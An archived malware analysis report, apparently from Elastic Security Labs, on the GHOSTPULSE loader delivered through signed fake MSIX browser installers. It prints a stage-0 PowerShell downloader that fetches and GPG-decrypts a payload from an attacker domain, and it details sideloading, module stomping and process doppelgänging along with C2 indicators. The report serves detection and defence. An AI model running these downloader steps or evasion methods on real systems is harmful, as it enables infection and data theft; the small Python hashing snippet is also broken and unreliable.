{
	"id": "cd00baae-65b6-46be-9bc3-635861312f92",
	"created_at": "2026-04-06T00:17:42.424915Z",
	"updated_at": "2026-04-10T13:11:24.688658Z",
	"deleted_at": null,
	"sha1_hash": "741b72eb78c90ac66476d3d8ad2acd8f69431d1f",
	"title": "GHOSTPULSE haunts victims using defense evasion bag o' tricks",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1732571,
	"plain_text": "GHOSTPULSE haunts victims using defense evasion bag o' tricks\r\nBy Salim Bitam, Joe Desimone\r\nPublished: 2023-10-27 · Archived: 2026-04-05 21:34:55 UTC\r\nUpdate\r\nIn October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it\r\nout here.\r\nPreamble\r\nElastic Security Labs has observed a campaign to compromise users with signed MSIX application packages to gain initial\r\naccess. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to\r\nevade detection.\r\nMSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to\r\nWindows users. With App Installer, MSIX packages can be installed with a double click. This makes them a potential target\r\nfor adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code\r\nsigning certificates making them viable to groups of above-average resources.\r\nIn a common attack scenario, we suspect the users are directed to download malicious MSIX packages through\r\ncompromised websites, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve\r\nobserved include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.\r\nFrom the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented.\r\nHowever, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 1 of 14\n\nMalware Analysis\r\nThe GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a\r\nfinal payload.\r\nStage 0\r\nWe consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script\r\nis typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE,\r\nISO). In one sample, the PowerShell script downloads a GPG-encrypted file from manojsinghnegi[.]com/2.tar.gpg .\r\nNext, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:\r\nputin - the passphrase for the GPG file\r\n--batch - execute GPG in non-interactive mode\r\n--yes - answer “yes” to any prompts\r\n--passphrase-fd 0 - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin\r\n--decrypt - decrypt a file\r\n--output - what to save the decrypted file as\r\n# 1\r\n$url = \"https://manojsinghnegi[.]com/2.tar.gpg\"\r\n$outputPath = \"$env:APPDATA\\$xxx.gpg\"\r\nInvoke-WebRequest -Uri $url -OutFile $outputPath\r\n# 1\r\necho 'putin' | .$env:APPDATA\\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\\$xxx.rar $env:APPDATA\r\nThe GPG utility is included in the malicious MSIX installer package.\r\nThe decrypted file is a tar archive containing an executable VBoxSVC.exe which is in reality a renamed signed gup.exe\r\nexecutable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example\r\nhandoff.wav and a mostly benign library libcurl.dll with one of its functions overwritten with malicious code. The\r\nPowerShell executes the binary VBoxSVC.exe that will side load from the current directory the malicious DLL\r\nlibcurl.dll . By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based\r\nAV and ML scanning.\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 2 of 14\n\nFile metadata of VBoxSVC.bin\r\nStage 1\r\nThe first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign\r\nexecutable. Execution of the corresponding code is triggered during the DllEntryPoint phase.\r\nThe process is initiated by pinpointing the base address of the malicious DLL of libcurl.dll , achieved through parsing\r\nthe InLoadOrderModuleList API. This list, residing in the Process Environment Block (PEB), systematically records\r\ninformation about loaded modules.\r\nParsing the InLoadOrderModuleList structure\r\nNext, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing\r\nthe InLoadOrderModuleList structure within the Process Environment Block (PEB).\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 3 of 14\n\nStage 1 hashing algorithm\r\n# Python code used for API hashing\r\ndef calculate_api_name_hash(api_name):\r\n value = 0\r\n for char in input_string:\r\n total = (ord(char) + value *0x1003F)\u00260xFFFFFFFF\r\n return value\r\nBelow is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:\r\nstruct core_stage1_IAT\r\n{\r\nvoid *kernel32_LoadLibraryW;\r\nvoid *kernel32_QueryPerformanceCounter;\r\nvoid *ntdll_module;\r\nvoid *kernel32_CloseHandle;\r\n__int64 field_20;\r\n__int64 field_28;\r\n__int64 field_30;\r\n__int64 field_38;\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 4 of 14\n\nvoid *kernel32_GetTempPathW;\r\nvoid *kernel32_GetModuleFileNameW;\r\n__int64 field_50;\r\n__int64 field_58;\r\n__int64 field_60;\r\nvoid *ntdll__swprintf;\r\n__int64 field_70;\r\n__int64 field_78;\r\n__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);\r\nvoid *kernel32_CreateFileW;\r\nvoid *kernel32_ReadFile;\r\nvoid *ntdll_NtQueryInformationProcess;\r\nvoid *kernel32_GetFileSize;\r\n__int64 field_A8;\r\nvoid *kernel32_module;\r\n__int64 field_B8;\r\nvoid *ntdll_NtDelayExecution;\r\n__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);\r\n__int64 field_D0;\r\nvoid *kernel32_GlobalFree;\r\n__int64 field_E0;\r\nvoid *ntdll_RtlQueryEnvironmentVariable_U;\r\n};\r\nIt then proceeds with its operation by reading and parsing the file named handoff.wav from the current directory. This file\r\ncontains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT.\r\nThe parsing process involves the malware executing through two distinct steps.\r\nReading and decrypting the encrypted file\r\nThe initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file,\r\nwhich is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration,\r\nthe malware extracts the bytes of the encrypted blob. The initial structure is as follows:\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 5 of 14\n\nstruct initial_idat_chunk\r\n{\r\n DWORD size_of_chunk;\r\n DWORD IDAT_string;\r\n DWORD tag;\r\n DWORD xor_key;\r\n DWORD size_of_encrypted_blob;\r\n _BYTE first_chunk[];\r\n};\r\nsize_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before\r\nthe next occurrence of IDAT.\r\nxor_key: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction\r\nsize_of_encrypted_blob: Denotes the overall size of the encrypted blob, which is stored in chunks within the file\r\nfirst_chunk: Marks the start of the first chunk of data in memory\r\nIn the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that\r\nfollow it which has the following format:\r\nstruct next_idat_chunk\r\n{\r\nDWORD size_of_chunk;\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 6 of 14\n\nDWORD IDAT_string;\r\n_BYTE n_chunk[];\r\n};\r\nsize_of_chunk: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before\r\nthe next occurrence of IDAT.\r\nn_chunk: Marks the start of the chunk of data in memory\r\nThe malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob.\r\nSubsequently, the malware proceeds to decrypt the data using the 4-byte XOR key xor_key.\r\nAt this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression\r\nprocess utilizes the RtlDecompressBuffer api.\r\nDecompression using the RtlDecompressBuffer API\r\nThe malware proceeds by loading a specified library stored in its configuration, in this case, mshtml.dll , utilizing the\r\nLoadLibraryW function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the\r\n.text section of the freshly loaded DLL and then executed.\r\nThis technique is known as “module stomping”. The following image shows the associated VirtualProtect API calls captured\r\nwith Elastic Defend associated with the module stomping:\r\nStage 2\r\nStage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing\r\nmechanism. The following is the IAT structure of stage 2:\r\nstruct core_stage2_IAT\r\n{\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 7 of 14\n\nvoid *kernel32_module;\r\n void *ntdll_module;\r\n void *kernel32_CreateFileW;\r\n void *kernel32_WriteFile;\r\n void *kernel32_ReadFile;\r\n void *kernel32_SetFilePointer;\r\n void *kernel32_CloseHandle;\r\n void *kernel32_GlobalAlloc;\r\n void *kernel32_GlobalFree;\r\n void *kernel32_ExpandEnvironmentStringsW;\r\n void *kernel32_GetFileSize;\r\n void *kernel32_GetProcAddress;\r\n void *kernel32_LoadLibraryW;\r\n void *ntdll__swprintf;\r\n void *kernel32_QueryPerformanceCounter;\r\n void *ntdll_RtlDecompressBuffer;\r\n void *field_80;\r\n void *field_88;\r\n void *field_90;\r\n void *field_98;\r\n void *field_A0;\r\n void *ntdll_NtDelayExecution;\r\n void *ntdll_RtlRandom;\r\n void *kernel32_GetModuleFileNameW;\r\n void *kernel32_GetCommandLineW;\r\n void *field_C8;\r\n void *ntdll_sscanf;\r\n void *field_D8;\r\n void *ntdll_NtQueryInformationProcess;\r\n void *ntdll_NtQuerySystemInformation;\r\n void *kernel32_CreateDirectoryW;\r\n void *kernel32_CopyFileW;\r\n void *ntdll_NtClose;\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 8 of 14\n\nvoid *field_108;\r\n void *field_110;\r\n void *field_118;\r\n void *field_120;\r\n void *field_128;\r\n void *kernel32_SetCurrentDirectoryW;\r\n void *field_138;\r\n void *kernel32_SetEnvironmentVariableW;\r\n void *kernel32_CreateProcessW;\r\n void *kernel32_GetFileAttributesW;\r\n void *msvcrt_malloc;\r\n void *msvcrt_realloc;\r\n void *msvcrt_free;\r\n void *ntdll_RtlHashUnicodeString;\r\n void *field_178;\r\n void *field_180;\r\n void *kernel32_OpenMutexA;\r\n void *field_190;\r\n void *kernel32_VirtualProtect;\r\n void *kernel32_FlushInstructionCache;\r\n void *field_1A8;\r\n void *ntdll_NtOpenProcessToken;\r\n void *ntdll_NtQueryInformationToken;\r\n void *ntdll_RtlWalkFrameChain;\r\n void *field_1C8;\r\n void *addr_temp_file_content;\r\n void *addr_decrypted_file;\r\n};\r\nConcerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory\r\nspace with read, write, and execute permissions. Subsequently, it parses the loaded ntdll.dll library to extract the offsets\r\nof the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware\r\nnecessitates the execution of an NT API, it adds the API offset to the base address of ntdll.dll and directly invokes the\r\nAPI. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the ntdll.dll\r\nlibrary to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 9 of 14\n\nThe following is the structure used by the malware to store NT API offsets:\r\nstruct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table\r\n{\r\n __int64 ntdll_module;\r\n int ZwCreateSection;\r\n int ZwMapViewOfSection;\r\n int ZwWriteVirtualMemory;\r\n int ZwProtectVirtualMemory;\r\n int NtSuspendThread;\r\n int ZwResumeThread;\r\n int ZwOpenProcess;\r\n int ZwGetContextThread;\r\n int NtSetContextThread;\r\n};\r\nGHOSTPULSE has the ability to establish persistence, if configured to, by generating an .lnk file that points to the Stage\r\n1 binary, denoted as VBoxSVC.exe . To achieve this, the malware leverages COM (Component Object Model) objects as part\r\nof its technique.\r\nPersistence executed according to the configuration flag\r\nIt extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the\r\nstructure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between\r\nthe CRC32 value of the machine's computer name and the constant value 0xA1B2D3B4 . Finally, the encrypted data is saved\r\nto a file in the user's temporary folder. It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data\r\nis located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the\r\nresult of the XOR operation between the CRC32 value of the machine's computer name and the constant value\r\n0xA1B2D3B4 . Finally, the encrypted data is saved to a file in the user's temporary folder.\r\nThe malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a\r\n32-bit cmd.exe in this case. It then adds an environment variable to the child process with a random name, example:\r\nGFHZNIOWWLVYTESHRTGAVC , pointing to the previously created temporary file.\r\nFurther, the malware proceeds by creating a section object and mapping a view of it to mshtml.dll in the child process\r\nusing the ZwCreateSection and ZwMapViewOfSection APIs.\r\nThe legitimate mshtml.dll code is overwritten with the WriteProcessMemory API. The primary thread’s execution is then\r\nredirected to the malicious code in mshtml.dll with the Wow64SetThreadContext API as shown in the following image:\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 10 of 14\n\nThe parent process promptly terminates itself.\r\nStage 3\r\nThe objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another process. One interesting part\r\nof Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is\r\nalso capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs\r\nusing the \"heaven’s gate\" technique.\r\nStage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has\r\nthe capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure\r\nWow64FsRedirection , if configured to do so.\r\nFollowing this, Stage 3 accesses the environment variable that was set earlier, in our case GFHZNIOWWLVYTESHRTGAVC ,\r\nretrieves the associated temporary file and proceeds to decrypt its contents.\r\nDecrypting the temp file using the computer name and a hardcoded value\r\nThe decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload\r\nundergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE\r\nstructure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of\r\npayload (DLL or executable) architecture, etc.\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 11 of 14\n\nDecrypting the final payload\r\nGHOSTPULSE employs Process Doppelgänging, leveraging the NTFS transactions feature to inject the final payload into a\r\nnew child process. The following steps illustrate the process:\r\nCalls the CreateTransaction API to initial a transaction\r\nCreates a transaction file with a random file name in temp folder with the ZwCreateFile API\r\nWrites the payload to the temp file using the ZwWriteFile API\r\nCreates a section of the transaction file with ZwCreateSection API\r\nAt this point the file is not needed anymore, the malware calls the RollbackTransaction API to roll the transaction\r\nback\r\nGHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample\r\n1msbuild.exe1\r\nIt maps a view of the section to the process with the ZwMapViewOfSection API\r\nIt sets the child process thread instruction pointer to the entry point of the final payload with the\r\nNtSetContextThread API\r\nFinally it resumes the thread with the NtResumeThread API\r\nFunctions used to execute process doppelgänging technique\r\nFinal Payload\r\nThe final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT,\r\nRhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 12 of 14\n\nPastebin to retrieve the command and control address. In this case, it was 195.201.198[.]179 over TCP port 15647 as\r\nshown below:\r\nConfiguration extractor\r\nAlongside this research, the Elastic Security Research Team has provided a configuration extractor to allow threat\r\nresearchers to continue work to discover further developments within this campaign and expand detection capabilities for\r\nour community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.\r\nDetection Guidance\r\nElastic Defend detects this threat with the following behavior protection rules:\r\nDNS Query to Suspicious Top Level Domain\r\nLibrary Load of a File Written by a Signed Binary Proxy\r\nSuspicious API Call from an Unsigned DLL\r\nSuspicious Memory Write to a Remote Process\r\nProcess Creation from Modified NTDLL\r\nThe following yara rule will also detect GHOSTPULSE loaders on disk:\r\nWindows.Trojan.GhostPulse\r\nObservations\r\nAll observables are also available for download in both ECS and STIX format.\r\nThe following observables were discussed in this research.\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 13 of 14\n\nObservable Type Name Reference\r\n78.24.180[.]93 ip-v4 Stage 0 C2 IP\r\nmanojsinghnegi[.]com\r\ndomain-nameStage 0 C2\r\ndomain\r\nmanojsinghnegi[.]com/2.tar.gpg url\r\nStage 0 C2\r\nURL\r\n0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20 sha256\r\nChrome-x64.msixMalicious\r\nMSIX\r\nee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8 sha256 Brave-x64.msix\r\nMalicious\r\nMSIX\r\n4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356 sha256 Webex.msix\r\nMalicious\r\nMSIX\r\neb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61 sha256 new1109.ps1\r\nPowerShell\r\nDownloader\r\n49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9 sha256 38190626900.rar\r\nGHOSTPULSE\r\ntar archive\r\nFuturity Designs Ltd\r\nCode\r\nsigner\r\nChrome-x64.msix code\r\nsigner\r\nFodere Titanium Limited\r\nCode\r\nsigner\r\nBrave-x64.msix code\r\nsigner\r\nIMPERIOUS TECHNOLOGIES LIMITED\r\nCode\r\nsigner\r\nWebex.msix\r\ncode signer\r\nReferences\r\nhttps://twitter.com/1ZRR4H/status/1699923793077055821\r\nhttps://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/\r\nhttps://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates\r\nSource: https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nhttps://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
	],
	"report_names": [
		"ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
	],
	"threat_actors": [],
	"ts_created_at": 1775434662,
	"ts_updated_at": 1775826684,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/741b72eb78c90ac66476d3d8ad2acd8f69431d1f.pdf",
		"text": "https://archive.orkl.eu/741b72eb78c90ac66476d3d8ad2acd8f69431d1f.txt",
		"img": "https://archive.orkl.eu/741b72eb78c90ac66476d3d8ad2acd8f69431d1f.jpg"
	}
}